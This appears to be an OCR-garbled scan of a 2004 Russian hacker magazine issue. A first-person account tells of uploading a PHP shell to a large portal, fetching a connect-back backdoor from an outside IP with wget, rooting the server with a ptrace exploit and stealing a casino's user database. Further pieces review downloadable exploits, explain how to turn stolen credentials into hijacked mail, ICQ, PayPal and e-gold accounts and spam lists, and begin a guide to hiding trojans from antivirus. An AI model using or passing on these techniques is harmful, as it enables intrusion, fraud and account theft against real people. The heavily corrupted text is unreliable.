мощью соппЬаск-бэкдора мне удалось запустить интерактив- 
ный шелл и поругать сервер. 




вполне устраивал :). Вооружившись 
ѵіііиаі.соп^, я стал бродить по запароленным 
ресурсам и искать сам не знаю что :). Меня 
поразило то, что некоторые админки вообще 
были доступны безо всякого пароля (правда, 
при обращении к скриптам меня выкидывало 
на главную страницу портала). Через полча- 
са безуспешных скитаний я зашел в очеред- 
ную зону администрирования ресурса 
Іііір://ргодга[іі.гіп.ги. Здесь были какие-то ссылки 
на присланную документацию и раздел мо- 
дерирования комментариев в гостевой. В 
списке засланных доков я нашел русский пе- 
ревод мануала к 801 и какую-то статью. Сам 
факт записи файлов со стороны не мог меня 
не заинтересовать. Временно оставив ад- 
минку в покое, я стал искать истину в самом 
ресурсе 1іІф://ргодга[іі.гіп.ги. Обшарив все раз- 
делы, я не нашел ничего полезного. Не 
знаю, каким ветром меня занесло в пункт 
меню «Обратная связь» (как я сразу не дога- 
дался?), но только на этой паге передо мной 
предстала милая формочка для присылки 
статьи, документации и программ. Подумав, 
что админы не запретили присылать доку- 
менты в формате рі, я выбрал второй раздел 
и от балды заполнил все поля, а в качестве 
файла указал путь к перловому ОоЗ’еру для 
Арасбе ;). Но не тут-то было - скрипт отсыл- 
ки документов не вернул никаких данных. Я 
подумал, что сработал запрет на расшире- 
ние файла, но посылка заранее сформиро- 
ванного документа зіаіуа.М также не увенча- 
лась успехом. Идея отсылки РНР-шелла бы- 
ла единственной зацепкой (не зря же я па- 
роли расшифровывал :)), поэтому было ре- 
шено разобраться в исходниках сценария, 
благо путь к нему мне был известен. Сохра- 
нив файл абфіп^о.рі на диске, я пролистал 
его по диагонали и допер, почему информа- 
ция не отсылается. Оказывается, помимо че- 
тырех главных параметров, скрипту требо- 
вался пятый - скрытый параметр ѵѵбаі. Если 
он имел значение 1 , абфіп^о.рі понимал по- 
ток данных как статью, 2 - как документа- 
цию, 3 - как программу. Моя реакция была 
незамедлительной - я тут же пропатчил фор- 
му отсылки, сохранив ее в отдельном файле 
^огт.біті. В НТМІ- код добавился параметр 
ѵѵііаі, равный двойке. Операция пересылки 
успешно удалась - вывод сценария говорил 
о том, что файл отправлен и будет рассмот- 
рен администратором. 




А Не стоит забы- 
вать, что все 
действия хакера 
противозаконны и 
эта статья дана 
лишь для ознаком- 
ления и организа- 
ции правильной 
защиты с твоей 
стороны. За при- 
менение материа- 
ла в незаконных 
целях автор и ре- 
дакция ответствен- 
ности не несут. 




А В принципе, 
можно залить РНР- 
шелл, даже не зная 
аккаунт к админке. 
Правда, необходи- 
мо наверняка знать 
каталог, куда по- 
мещаются прис- 
ланные документы 
(в исходнике 
а(1(1_іпІо.рІ этот 
путь прописан). 

Ч3!> 

^ На компакте ты 
найдешь соппЬаск- 
бэкдор, а также 
познавательный ви- 
деоурок, повторяю- 
щий деструктивные 
шаги хакера. 
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ВЗП0ИКІМ.ІШ ^ 



взпои 






А Чтобы забэка- 
пить БД, совсем не 
обязательно ис- 
пользовать тузді- 
сіитр. Можно за- 
лить рИрМуАбтіп и 
выполнить эту 
грязную работу че- 
рез него. 



І^есішісз 

і:езі:з 

1^езі:з_е 

і:ордип 

І:гаѵе1 

иіо 

ипзиЬзсг іЬе 
ѵір 

ѵіЕіі:ка 

ѵрортаіі 

ѵиг 

т^аіірарегз 

т^ейсііпд 

шр 

УР 

ур_епд 

гакоп 

Еопез 

Еопез_е 

ЕОО 

Сливаем добро 



Кстати, залил я обычный рбр-шелл, код ко- 
торого состоял из выдачи тэга <РВЕ> и ре- 
зультата команды 8у8іет($стсІ). После обнов- 
ления кода админки передо мной появилось 
описание отправленного файла. Администра- 
тор вовсе не должен был что-то подтверждать 
- файл уже располагался в ШѴѴ-каталоге 
/СІОС8. Единственное, что мог сделать админ, 
так это удалить присланный документ. Судя 
по ссылке, шелл залился под именем 
/сІосз/В.рИр. Но вот исполняться скрипт поче- 
му-то не захотел :{. Первая мысль, которая 
закралась в мою голову, заключалась в том, 
что аплоадер каким-то образом заменял спец- 
символы в присланном файле. Но после того 
как я еще раз прошелся по коду іп^о_асІсІ.рІ, 
мои сомнения рассеялись. Причина лежала на 
поверхности - в конфиге рбр.іпі админ отклю- 
чил гедІ8іег_дІоЬаІ8. Удалив присланный сце- 
нарий, я составил еще один, где явно извле- 
кал переменную $стс1 из массива $_СЕГ. Пов- 
торно закачав файл с описанием «Зирег Рирег 
Веіеазе», я узрел, что документ снова сохра- 
нился под именем З.рбр :). Но это уже не уди- 
вило меня, так как команда ісі, введенная в ка- 
честве параметра скрипта, успешно выполни- 
лась. Мне присвоили идентификатор 515, что 
не особо меня радовало. К счастью, каталог 
/СІОС8 наделялся правами 777 - это позволяло 
создавать в нем любой файл, теперь уже че- 
рез использование /изг/Ьіп/ѵѵдеі. 

.ісотноот? 

к сожалению, брандмауэр сервера фильтро- 
вал все подключения на левые порты и не 
позволил мне установить полноценный бэк- 
дор. Тогда я решил попробовать обойти 
файрвол излюбленным способом - с по- 
мощью заливки соппесі-Ьаск бэкдора. При 
запуске этот чудесный бэкдор коннектится к 
удаленному компьютеру и ждет от него зап- 
росов. На машине, к которой подключается 
бэкдор, разумеется, должен быть запущен 
пеісаі, прослушивающий, например, 4000 
порт. Исходя из этих простых условий, я за- 
цепился на далекий американский шелл, ус- 
тановил там пеісаі и стартанул его с пара- 
метрами -I -р 4000. От волнения я не обра- 
тил внимание, что бэкдор написан на Си, и 




долго пытался запустить сЬб.с в качестве 
перлового скрипта :). 

После нехитрых действий на приемной 
стороне был запущен ѵѵдеі, который бережно 
скачал соппЬаск-бэкдор (Іі1ф://65.254.39.218/~пе[- 
сІапбйЬсІ.с). Оставалось лишь скомпилировать 
хакерское творение, а затем запустить его, 
указав в качестве параметра адрес машины, 
куда следует подключиться. Быстро проде- 
лав все эти шаги, я увидел в консоли завет- 
ное приглашение. Теперь мне предстояло 
поругать один из самых крупных российских 
проектов :). 

Похоже, что администраторы никогда не 
слышали о том, что существуют более защи- 
щенные ядра, чем 2.4.18 :). Как ты догадал- 
ся, я выложил известный рігасе-ктосі- 
ехрІоіТс и использовал его по прямому наз- 
начению. Система подчинилась сплойту без 
сопротивлений. 

.ІНЕПРИСТУПНРЯБРЗРДРННЫХ 

Во время изучения сайтов, расположенных 
на главном сервере ВІМ, я приметил очень 
интересный портал Іі1ф://са$1і.гіп.ги. Его осо- 
бенность заключалась в том, что этот проект 
позволял делать ставки на тотализаторе, а 
также играть в казино. В самом низу главной 
страницы красовалась надпись, гласящая, 
что на сайте зарегано более 800 000 клиен- 
тов. У меня появилось нездоровое желание 
зацепить денежные балансы активных поль- 
зователей. И вот... я внутри системы. 

Первым делом было проверено наличие 
программы туздісіитр. Она располагалась в 
стандартном каталоге. Но под рутом без 
указания пароля МуЗОІ не запускался. Ко- 
нечно, можно было убить демон, а затем за- 
пустить его с параметром -зкір-дгапі- 
іаЫез. Но мне не хотелось лишний раз све- 
титься, тем более что я заметил строчку 
«гедиіге "../бЬпате.рІ"» в сценарии 
асІсІ_іп^о.рІ. По всей видимости, в этом ини- 
циализированном скрипте и содержался за- 
ветный аккаунт к БД. 

Я не ошибся. Прочитав конфигурацион- 
ный файл, я увидел логин и пароль к МуЗОІ. 
Несмотря на то что учетная запись предназ- 
началась для совсем другого сайта, права 
позволяли просматривать абсолютно все ба- 
зы данных (кстати, довольно частая недо- 
делка на многих крупных серверах). Запрос 
вида МуЗОІ -и Іодіп -р раззѵѵогсі -е 'зііоѵѵ 



сІаіаЬазез' помог мне посмотреть все базы. 
Среди них сложно было не заметить БД под 
названием сазбіег :). Именно она и была 
слита туздісіитр'ом в отдельный файл 
сазб.зді. Когда процедура сохранения была 
завершена, я сжал базу в архив сазб.іаг.ді. 

Осталось лишь стянуть архив в безопас- 
ное место. Выложив его в ѴѴШ-каталог (как 
ты помнишь, в каталог /сіосз можно заливать 
любые файлы), я поспешно вытянул файл с 
помощью ѵѵдеі’а на один из своих левых 
шеллов. Там же происходил и анализ содер- 
жимого базы. 

Надо сказать, что я не нашел в базе таких 
уж сенсационных данных. Да, зареганных 
юзеров было много, но их баланс колебался 
от нуля (наиболее популярный вариант) до 
$100. Конечно, были балансы, превышаю- 
щие $4000, но они принадлежали админист- 
раторам проекта :). Вывод, как всегда, 
прост: Іііір://са$1і.гіп.ги - обычная пирамида, ос- 
нованная на вовлечении реферралов. Для 
удобства мне пришлось перегнать текстовый 
файл в свой МуЗОІ и выцепить из него три 
записи - Іодіп, раззѵѵогсі и етаіі - запросом 
зеіесі Іодіп, раззѵѵогсі, етаіі кот изегз іпіо 
оикііе 'бЬ.М'. В итоге получился весомый 
файлик, который можно применять как в ка- 
честве спамлиста, так и в более деструктив- 
ных целях (например, для подбора паролей к 
почте и сторонним сервисам). Через опре- 
деленное время я удалил с диска отсортиро- 
ванный файл и всю БД, ведь конечная цель 
не подразумевала хищение конфиденциаль- 
ной информации. Все бэкдоры, эксплойты и 
временные файлы, находящиеся на сервере 
ВІМ 'а, также были уничтожены. 

Из этой истории можно сделать один прос- 
той вывод: даже самые раскрученные проекты 
содержат в себе крупные дырки. Некоторым 
может показаться, что баг, позволяющий чи- 
тать файлы, не такой уж и крупный, но резуль- 
тат, к которому привела такая брешь, весьма и 
весьма впечатляет :). И это не единственный 
случай, когда неприметная уязвимость приво- 
дит к захвату целого сервера. ЗС 
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/ ШЕР/№1 2(721/2004 



Докучаев Дмитрий ака ЕогЬ (1огЬ@геа1.хакер.ги) 



ІЕ ВиГГЕНОѴЕВГЮШ 
ЕХРЮІТ 



1СЕСР8Т<= 2.0.1 
ВЕИОТЕ ЕХРЮІТ 




ІРТ0ВЕЕ8 ЮС ІХТЕСЕВ 
ЕХРЮІТ 



описоние: 



Ноябрь порадовал нас мощным багом в Іпіегпеі 
Ехріогег 6.0. На этот раз выяснилось, что браузер 
легко отбрасывает копыта при передаче ему 
длинного параметра в тэге <1РРАМЕ>. Если соз- 
дать тэг вида <1РРАМЕ 5гс=Ьід-Ьід-5Ігіпд 
пате=Ьід-Ьід-5Ігіпд2></ІРРАМЕ>, то ослик выж- 
рет всю память и умрет на твоих глазах. 

Но и это еще не все. Добрые кодеры написали 
эксплойт, который вешает шелл на 28876 порту. 
Но, к сожалению (а может быть, и к счастью), 
эксплойт работает только с ѴѴіпХР или ѴѴіпХР 8Р1 . 
Под ѴѴіп2к хакерский НТМІ-код лишь убьет брау- 
зер без выполнения каких-либо команд. 



защита: 



Как уже было сказано, эксплойт полностью бес- 
силен против второго сервис-пака. Помимо уста- 
новки глючного обновления, можно просто вык- 
лючить АсІіѵеХ - это также один из методов защи- 
ты. Отдельного патча для исправления дыры по- 
ка не существует. 



Сливай эксплойт по адресу 
ѵѵѵѵѵѵ.хакер.ги/ро$1/24580/ехрІоі11хі. Осторожно, следуя 
по ссылке, ты сам можешь стать невинной 
жертвой бага в ІЕ :). О том, как правильно 
защитить свою систему, читай туг: 
шѵѵ.$есигі1у.ппоѵ.ги/$еагс[і/сІоситепІа$р?(]осі(І=Л57. 



ЗЛОКЛЮЧЕНИЕ: 



Баги в ІЕ были, есть и будут. Несмотря на 
заявления Місгозоі^ о том, что ІЕ - лучший 
браузер всех времен, рекомендую установить 
что-нибудь постабильнее. Например, Оперу или 
МуІЕ. И не ходи по ссылкам, полученным в 
аське от ника 8ирег хакер :). 



описаниЕ: 



Если ты внимательно читал предыдущие обзо- 
ры, то знаешь, что я несколько раз упоминал о 
нестабильности линуксового Ісесазі Настал 
смертный час и для виндового сервиса. Позволь 
представить тебе баг, обнаруженный в ІсеСазІ 
2.0.1 подѴѴіп32. 

Суть бреши заключается в том, что сервис при- 
нимает только 32 заголовка в НТТР-запросе. 
Причем ни один из них не проверяется на пос- 
торонние символы, а, как оказалось, длина пос- 
леднего вообще не контролируется. В связи с 
этим багоискатель написал эксплойт, посылаю- 
щий 32 заголовка, один из которых является ро- 
ковым. Этот хидер хитро перезаписывает адрес 
возврата и позволяет выполнить любую команду 
с правами 8У8ТЕМ. По умолчанию в эксплойт 
вшит код, который создает пользователя ісесазі 
с паролем !искес1 :). 



защита: 



Защититься от напасти можно установкой более 
свежего релиза ІсеСазІ На данный момент суще- 
ствует потоковое радио версии 2. 1 .0. В нем уже 
нет злосчастного переполнения, которое приво- 
дило к фатальным последствиям. 



Скачивай эксплойт по адресу 
аІиіді.аІІегѵі$Іа.огд/рос/ісеехес. 2 Ір. Техническое 
описание уязвимости можно прочитать на 
ѵѵш.$есигіІу.ппоѵ.ги/$еагс[і/сІосипеп1.а$р?сІосіс1=6886. 



зпокпючение: 



В последнее время стало модным юзать потоко- 
вое радио. Особенно в небольших локальных 
сетях. Если учитывать, что не все (даже продви- 
нутые) юзеры используют файрвол, то можно 
ожидать массовое нападение на многие ѴѴіп2к- 
серверы. Поэтому, если не хочешь стать случай- 
ной жертвой хакера, обнови Ісесазі и поставь 
хороший файрвол. 



оаисаниЕ: 



Нечасто на свет попадают эксплойты для систем- 
ных программ, которые призваны защищать от 
хакерских атак. Совсем недавно на новостных 
лентах появилась заметка о бреши в известном 
брандмауэре ірІаЫез. Чтобы удаленно повесить 
систему, злоумышленник должен сформировать 
хитрый ТСР/ІР-пакет, который быстро уронит 
ядро. 

Кстати, в присутствии бага виноват не столько 
файрвол, сколько само ядро. Уязвимость просле- 
живается лишь в первых семи ядрах ветки 2.6 
(2.6.1 -2.6.7). Остальные версии неуязвимы. Пер- 
вый эксплойт появился спустя неделю после объ- 
явления уязвимости. Он пока лишь вешает систе- 
му, но кто знает, возможно, скоро мы увидим ре- 
альный сплойт, который предоставляет рутовый 
шелл на жестко зафаерволенной машине. 



защита: 



Чтобы защитить свой сервер от непрошеных 
гостей, необходимо всего лишь переустановить 
ядро. Выбирай сам: либо ты используешь лю- 
бой кернел из ветки 2.4, либо апгрейдишь су- 
ществующее ядрышко до 2.6.8. 



' Сливай эксплойт по адресу 
і уѵѵѵуѵ.хакер.ги/ро$1/24620/ехр1оіих1. Технической ин- 
! формации по бреши очень мало, поэтому ана- 
! лизируй баг, опираясь на код сплойта. 



заокпючЕНИЕ: 



с появлением этого рокового 0о8'ера хакеры 
начнут валить многие серверы на ядре 2.6.7. 
Чтобы этого не произошло, своевременно обно- 
ви кернел и почитывай багтрак. Кто знает, мо- 
жет, и в новых ядрах затаился подобный баг... 



Благодарим ВегепсI-^ап ѴѴеѵег за открытие и 
исследование критической бреши. Именно он 
написал чудодейственный эксплойт для 
последней версии ослика. 



От имени хакерского коллектива выражаем бла- 
годарность Сугех. Это он написал эксплойт и 
выложил его на всеобщее обозрение. 



Поблагодарим взломщика ^еІіх_ 2 Ііои 
(!еІіх_ 2 Ііои@Ііо 1 іпаіІ.со[п) за интересный эксплойт. 
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В багтраке очень немного информации 




















И арадоксапьно, но факт: иногие взпоищики способны найти бат, проникнуть на сервер, утащить базу с важными данными, а затем 
удапить ее с винта. И все потому, что интересующая инфа быпа зашифрована каким-то зпементарным апгоритмом ипи торе-хакер 
просто не суиеп отыскать что-то ценное в торе мусора. Но есть и бопее продвинутые взпомщики. Они тщатепьно анапизируют 
попученную инфу и вытятивают опуда море попезный инфы. 




ШЕРСкий анализ Бпз ранных 




Т акая ситуация: хакер украл ба- 
зу данных со всеми пользова- 
телями какого-то раскручен- 
ного сервиса. Что теперь он 
может с ней сделать, что по- 
лезного может с этого под- 
нять? Оказывается, при опре- 
деленных навыках становится 
возможным даже из никчемных данных 
извлекать весомую выгоду, которая иногда 
измеряется в шестизначных уинах, тысячах 
долларов или ящиках пива Оиіппезз. 



.і ПОВЕРХНОСТНЫЙ РНРПИЗ 

Предположим, что у хакера имеется од- 
на большая таблица. Пусть в ней располо- 
жены аккаунты к крупному сервису в следу- 
ющем виде: изегісі, Іодіп, раззѵѵогсі, е-таіі. 
Что можно сделать с такими, казалось бы, 
однообразными данными? Самая первая 
маза, которая приходит в голову, - это ба- 
нально продать БД заинтересованному че- 
ловеку, который будет использовать акка- 
унты по назначению. Это верный ход, одна- 
ко не буду спешить: в конце концов, про- 
дать инфу хакер всегда успеет. Первое, что 
надо сделать, - скормить таблицу своему 
серверу БД - тузді или рдзді. Этим 
действием взломщик облегчит собственную 
жизнь, потому как сможет без геморроя 



сортировать и выбирать нужные данные, 
выводя их на экран либо в отдельный 
файл. Предположу, что все данные нахо- 
дятся в файле изегз.зді, а именно так и бы- 
вает в большинстве случаев. Выполняю ко- 
манду тузді -и изег -р раззѵѵогсі < 
./изегз.зді и жду, пока все данные импор- 
тируются в БД. Когда процесс завершится, 
можно приступать к первому этапу обра- 
ботки информации. 



В первую очередь от меня требуется 
отделить самые важные поля от осталь- 
ных. Это существенно упростит процесс 
анализа и уменьшит объем данных. Если 
я выполню запрос безе изегз, то будут по- 
казаны все поля таблицы изегз. Я должен 
выделить для себя самые главные и за- 
помнить их названия. В моем примере 
это будут три последние записи: Іодіп, 
раззѵѵогб и етаіі. 

Теперь командую: зеіесі Іодіп, разз- 
ѵѵогб, етаіі ^гот изегз іпіо 
оиіЛІе 'изегз. М'. Если у 
меня свежая версия тузді, 
то команда выполнится без 
проблем, а извлеченные 
данные расположатся в от- 
дельном файле изегз. М. 
Открываю его и смотрю на 
содержимое документа. Ве- 
роятно, я увижу в нем мно- 
го левых данных, это осо- 
бенно касается мыльников. 
Выбираю для себя некор- 
ректные е-таіІ адреса (поп- 
совые мылы на ІіоіпаіІ.сот, 
уаііоо.сот и адреса, располо- 
женные на самом хостин- 
ге). Теперь видоизменяю 
запрос 801 и вывожу дан- 
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СШРЯМОБРРБОТдЯ 





Есть вероятность, что пароль 
к взломанному сервису 
совпадет с почтовым. 



ные, исключая левые мыльники. Первый 
этап обработки можно считать наполовину 
завершенным. 

Сложнее обстоят дела с паролями. 
Здесь нужно использовать собственный 
опыт. От себя могу сказать, что если 
встречается пароль вида дѵѵегТу или разз- 
ѵѵогб, то можно смело игнорировать эту 
строку - она не принесет никаких резуль- 
татов. Разумеется, что делать выборку че- 
рез 501 только корректных паролей слиш- 
ком сложно, поэтому эту процедуру мож- 
но опустить. 

^ПОЧТОВРЯПТПКР 

Теперь второй этап - обработка данных. 
Он заключается в хищении почтовых ак- 
каунтов. Я говорил про сложные пароли. 
Есть вероятность, что пароль к взломан- 
ному сервису совпадет с почтовым. Все 
потому, что многие люди, особенно 
иностранцы, не привыкли запоминать 
несколько паролей - им достаточно 
юзать всего один. 

Второй этап анализа очень трудоемок и 
требует много времени и терпения. Для 
подбора аккаунтов надо вооружиться кон- 
солью на забугорном шелле. 

Начинаю двигаться от самой первой за- 
писи. Допустим, она выглядит так: іобп 
Іобп@кеѵѵІтаіІ.сот АіЕ4#зѴѴ. Это самый 
идеальный вариант, поскольку пароль дос- 
таточно сложен, а логин совпадает с почто- 
вой учетной записью. Не спешу коннек- 



титься на 1 10 порт хоста кеѵѵітаіі.сот, воз- 
можно, это не принесет желаемых резуль- 
татов. Лучше выполню команду Ііозі -і тх 
кеѵѵіпаіі.соіл, которая подскажет адрес, где 
расположен ЗМТР/РОРЗ-сервер. Вот там 
можно испытать свое счастье. Если коннект 
разрешен, баннер показывается как надо, 
то мне наполовину повезло. Можно попро- 
бовать представиться Джоном. Если сервис 
сказал, что пароль неверен, то аутентифи- 
цируюсь полным именем в виде 
изег@сІотаіп, такие логины часто встреча- 
ются. В случае когда и эта попытка 
оказывается безуспешной, перехожу к сле- 
дующей записи. 

Порой случается, что файрвол не дает 
прицепиться к 1 1 0 порту, либо этот порт 
вообще не прослушивается. Тогда пробую 
зайти на ѵѵеЬ по ір-адресу. Возможно, там 
я найду ссылку на ѵѵеЬтаіІ, через которую 
смогу залогиниться в почтовой системе. 
Такое часто бывает, яркий пример - сервис 
ІіоіпаіІ.сот. 

Допустим, что я успешно вошел в систе- 
му. Моему взору предстали 400 новых сооб- 
щений. Основная ошибка хакера заключает- 
ся в том, что на радостях он тут же создает 
новый почтовый ящик в почтовом клиенте и 
стягивает все письма. Так делать, мягко го- 
воря, нельзя. Для того чтобы хозяин ящика 
спал спокойно, необходимо заюзать ано- 
нимный проксик, через который и знако- 
миться с корреспонденцией. Однако, как от- 
метил мудрый Олег (X #10, 70 стр.), «не все 



проксики одинаково полезные» :). Может 
получиться так, что весь трафик прослуши- 
вается, либо прокся не такая уж и аноним- 
ная. В связи с этим я использую замеча- 
тельную программу Ьоипсег 
(ѵѵш.$есигіІуІаЬ.гиЛооІ$/_$егѵісе$/сІоѵѵпІоасІ/?Ш=32558) 

. В силу своей кроссплатформенности соф- 
тина может быть запущена как под ипіх, так и 
под ѴѴіп32. Используя хак-тулзу на забугор- 
ном шелле, я абсолютно уверен в своей безо- 
пасности. Чтобы зацепить все письма богато- 
го хозяина, нужно запустить Ьоипсег с пара- 
метрами -сіезііпаііоп рорЗ.зегѵег.доѵ -роіі 
33333, а затем прописать в свойствах ящика 
адрес машины с запущенным сексом в соот- 
ветствующем поле. Теперь можно снимать 
почту. Только лучше это делать через менед- 
жер сообщений, чтобы отфильтровывать спам 
и оставлять копии на сервере. 

Может появиться следующий вопрос: 

«Ну и на кой хрен все эти письма?». Ответ: 
часто в иностранной переписке встречают- 
ся интересные сообщения, гласящие, нап- 
ример, о том, что хозяин ящика зарегист- 
рирован на каком-нибудь платном хостин- 
ге, сервисе или партнерском проекте. Даже 
если в теле письма не окажется пароля, 
его всегда можно отослать на почту в соот- 
ветствующем разделе ѵѵеЬ-проекта. Напри- 
мер, при изучении одной интересной базы 
я увел три аккаунта с общеизвестного сііск- 
аіеІІ.сот и долго слал ЗМЗ’ки на халяву :). 

^ ПИОНЕРСТВО ШЕСТИЗНРКОВ 

В течение бессонной ночи я перебирал огром- 
ную базу, нарыл множество валидных е-таіі- 
аккаунтов и несколько учетных записей к раз- 
личным сервисам. Но и этого оказалось мало. 
Кроме увода почтовых ящиков, можно до- 
вольно лихо тырить шестизначные уины. Ос- 
новная масса клиентов крупных порталов - 
американцы, а это значит, что добрая поло- 
вина из них юзает ІСО. Среди этой половины 
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найдется четверть ламеров, использующих 
общий пароль на все сервисы одновременно. 
От меня лишь требуется найти этих ламери- 
косов и протестить их пароли. 

В моем хакерском арсенале присутствует 
программа ІСО РаззѵѵогсІ Сбапдег (ѵѵѵѵѵѵ.ѵѵеЬ- 
Ііаск.ги/сІоѵѵпІоасІ/сІоѵѵпІоасІ.рІір?до=34). С ее по- 
мощью хакер может оперативно менять па- 
роль на определенном уине. В качестве по- 
исковой программы используется сервис 
ѴѴбііеРадез (ѵѵѵѵѵѵ.іср.сот/ѵѵііііерадез/). В первую 
очередь, пробиваются по базе мыльники, 
которые хакеру удалось увести. Если они 
выступают в качестве Ргітагу адреса, то 
можно просто выслать на почту пароль - и 
III N угнан. После этой нехитрой операции 
можно пробить адреса, не поддавшиеся 
взлому. Часто случается так, что пароль не 
опознается рорЗ-сервером, но очень легко 
переваривается ІСО. С помощью такой ІСО- 
атаки я увел с десяток красивых шестизна- 
ков и три элитных семизнака. 

Минусы такой атаки. Во-первых, спер- 
тый III N может быть легко возвращен вла- 
дельцем (если хозяин не пробитый ламер, 
он просто вышлет пароль себе на почту). 
Во-вторых, вредные белые страницы ли- 
митируют количество запросов в единицу 
времени. В связи с этим хакеры обзаво- 
дятся прокси-листами и используют их по 
мере необходимости. 

.ІГРЕБЕЖКР ДЕНЕГ 

Помимо увода ящиков и асек, существуют 
и другие, более нужные сервисы. Напри- 
мер, с помощью какого-то пароля можно 
завладеть десятками тысяч зеленых пре- 
зидентов? Это вполне реально, хотя и 
весьма рискованно. 

Не исключено, что перевод денег ничем 
хорошим не закончится, а хакера упекут за 
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Удачно подобранный аккаунт. Правда, мелочный он какой-то 



Помимо увода ящиков и асек, существуют 
и другие, более нужные сервисы. 




решетку на несколько лет. Так что это 
стрем новатый путь, поэтому не советую 
становиться на кривую дорожку. А вообще 
некоторые горячие парни без головы тво- 
рят страшные штуки. 

Я говорю про увод РауРаІ и ЕСоІсІ-акка- 
унтов. Очень часто богатые америкосы за- 
водят себе аккаунты на этих сервисах, и 
не исключено, что пароль, расположенный 
в БД, совпадет с пассвордом на секурный 
сервис. 

Но тут не так все просто, как кажется в 
первый момент. Есть один нюанс, который 
быстро охладит пыл любого. Американс- 
кие денежные сервисы снабжены автома- 
тическим контролем (антифраудом) над 
хакерами. Если вдруг система обнаружит 
успешный логин американца с русского 
ІР-адреса, его аккаунт сразу же заблоки- 
руют (обычно через несколько часов). В 
случае захода с паленой прокси (в систе- 
ме существует свой блэк-лист) учетная за- 
пись также будет залочена. То есть, чтобы 
наверняка не запалить свою задницу, при- 
ходится юзать проксик из страны, где жи- 
вет хозяин аккаунта. А еще лучше - из того 
же штата, тогда успех обеспечен. 

Возникает вопрос: «Где взять такой 
проксик?». Услуга предоставления аноним- 
ности называется прокси-сервисом 
(Шр://ргоху.ІіЬ.ЬегкеІеу.ес1и/[ад.[іІ[ііІ). Стоит по- 
добное удовольствие от 30 ѴѴМ2 в месяц, 
но, заплатив, хакер получает неограничен- 
ный доступ к проксику практически из лю- 
бого штата. Причем ір-адрес не будет фи- 
гурировать в блэк-листе, поскольку прокся 
находится на зараженных иностранных 
компьютерах. 

Как только взломщик получает доступ к 
прокси-сервису, он может уже без проб- 
лем сканить РауРаІ и ЕСоІсІ -аккаунты. Те- 
перь, меняя каждый раз прокси-сервер, он 
пытается залогиниться под разными учет- 
ными записями, и рано или поздно удача 
улыбается ему и сетевой партизан получа- 
ет доступ к аккаунту. 

Правда, ипѵегіііесі (или, по-русски, не име- 
ющий аттестата) аккаунт нафиг никому не ну- 



жен. Если же посчастливилось отыскать па- 
роль на аттестованный логин с $30 000 ба- 
лансом, то его можно легко продать за боль- 
шие деньги. Здесь необязательно иметь свя- 
зи с Кардерами, достаточно кинуть предло- 
жение на раскрученный форум, и таким хаке- 
ром обязательно заинтересуются. Если не 
кардеры, то хотя бы работники ФСБ :). 

Если добытый аккаунт внезапно залочили 
(при аутентификации попросят ввести бан- 
ковский счет или номер кредитной карты), 
то причины могут быть следующими: либо 
проксик не такой уж и анонимный, как ка- 
жется на первый взгляд, либо браузер вы- 
дает местоположение хакера (поля 
ІІзегАдепі и Ассері следует поменять в пер- 
вую очередь). 

.і ЕСЛИ НИЧЕГО НЕ помогло 

Бывает, что хакер скачал никчемную базу, 
в которой фигурируют учетные записи бед- 
ных африканских студентов, не имеющих 
красивых асек и интересных почтовых ящи- 
ков, не говоря уже о РауРаІ -аккаунтах. В 
этом случае можно реализовать добытое 
добро в качестве спамлиста. Действитель- 
но, если в базе более миллиона мыльников 
(пусть и не таких красивых, как хочется), их 
можно вывести в отдельный файл и толк- 
нуть за кругленькую сумму. Уверен, что 
спамеры не пропустят такого важного кли- 
ента. 

Бывает, что пароли клиентов зашифрованы 
алгоритмом ІѴЮ5. Даже при таком раскладе 
совсем необязательно удалять базу. Порой 
сервис принимает пассворд как в чистом, так 
и в зашифрованном виде. Стоит проверить эту 
фичу на ресурсе, которому принадлежит БД, и 
если моя гипотеза верна, можно продать дамп 
за большие деньги. 

Такие вот мысли. И их надо восприни- 
мать только как информацию, а не как 
руководство к действию. Закон... Он 
ведь все-таки существует и действует :). 

С Новым годом! ЗС 
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аверное, не секрет, что почти все публичные трояны, которые можно найти в Сети, давно уже занесены в базы антивирусов и их распространение - 
пробпеиатичная задача. Но практически любую заразу можно довольно легко замаскировать под обычное приложение, после чего ни один даже самый 
навороченный антивирус не обнаружит подставу. 
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А 0БНРР9ЖЕНИЕ 

а ля начала неплохо было бы 
разобраться с тем, как, 
собственно, антивирусные 
программы отличают зара- 
женные файлы и трояны от 
обыкновенных бинарников. 

Я не буду вникать в тонкости 
этого процесса, а расскажу 
лишь в общих чертах. У каж- 
дого антивируса в обновляемой базе хра- 
нятся специальные записи, по которым 
можно запалить трояна или вирус. Такие 
записи называются сигнатурами. Сигнату- 
рой может быть некая последовательность 
байт, характерная для данного вируса, 
контрольная сумма или еще какой-то харак- 
терный признак. Для сложных вирусов, ко- 
торые не имеют постоянных сигнатур, изоб- 
ретаются иные методы обнаружения. Анти- 
вирус берет файл и начинает искать в нем 
сигнатуры из своих баз. Если сигнатура об- 
наружена, то антивирус радостно сообщает 
пользователю, что данная программа - опас- 
нейший троян. Нужно сделать так, чтобы уз- 
наваемой сигнатуры в файле попросту не 
было. В этом случае антивирус дополнитель- 
но проверяет файл эвристическим анализа- 
тором. Алгоритм зависит от конкретного ан- 



тивируса, а в некоторых эвристика и вовсе 
нет. Эвристик - штука темная, срабатывает, 
в основном, на вирусы, написанные на ассе- 
мблере, поэтому, скорее всего, антивирус 
ничего не обнаружит и пойдет дальше по 
своим делам. Как же убрать эту сигнатуру? 
Практика показывает, что это не так уж и 
сложно. 

Среди троянописателей и вирмейкеров при- 
нято паковать свои творения специальными 
упаковщиками ЕХЕ-файлов. Плюсов от этого 
немало: например, червяк становится мень- 
ше в размерах, а значит, за то же время мо- 
жет разослать больше своих копий и его 
присутствие становится менее заметным 
для пользователя. Трояны тоже пакуют, так 
как они по своей природе должны быть ма- 
ленькими и незаметными. 




Вирус Мусіоот давно внесен в антивирусные базы 



ЧЕРТИК В КОРОБОЧКЕ 

Что же представляет собой упакованный ехе- 
файл? Это РЕ-заголовок, небольшой загруз- 
чик и прикрепленные сжатые данные исход- 
ного файла. Эти данные могут быть допол- 
нительно зашифрованы. При запуске управ- 
ление передается загрузчику, который рас- 
паковывает эти данные прямо во время вы- 
полнения и передает управление коду самой 
программы. С точки зрения пользователя 
никаких отличий нет - программа точно так 
же запускается и работает как обычно. 

Упаковщиков довольно много. Все они ис- 
пользуют разные алгоритмы сжатия и шифро- 
вания и разные загрузчики. Антивирусу до- 
вольно сложно понять, что скрывается в упа- 
кованном файле. Он должен анализировать 
непосредственно код программы, а код в упа- 
кованном файле - это лишь код загрузчика. 
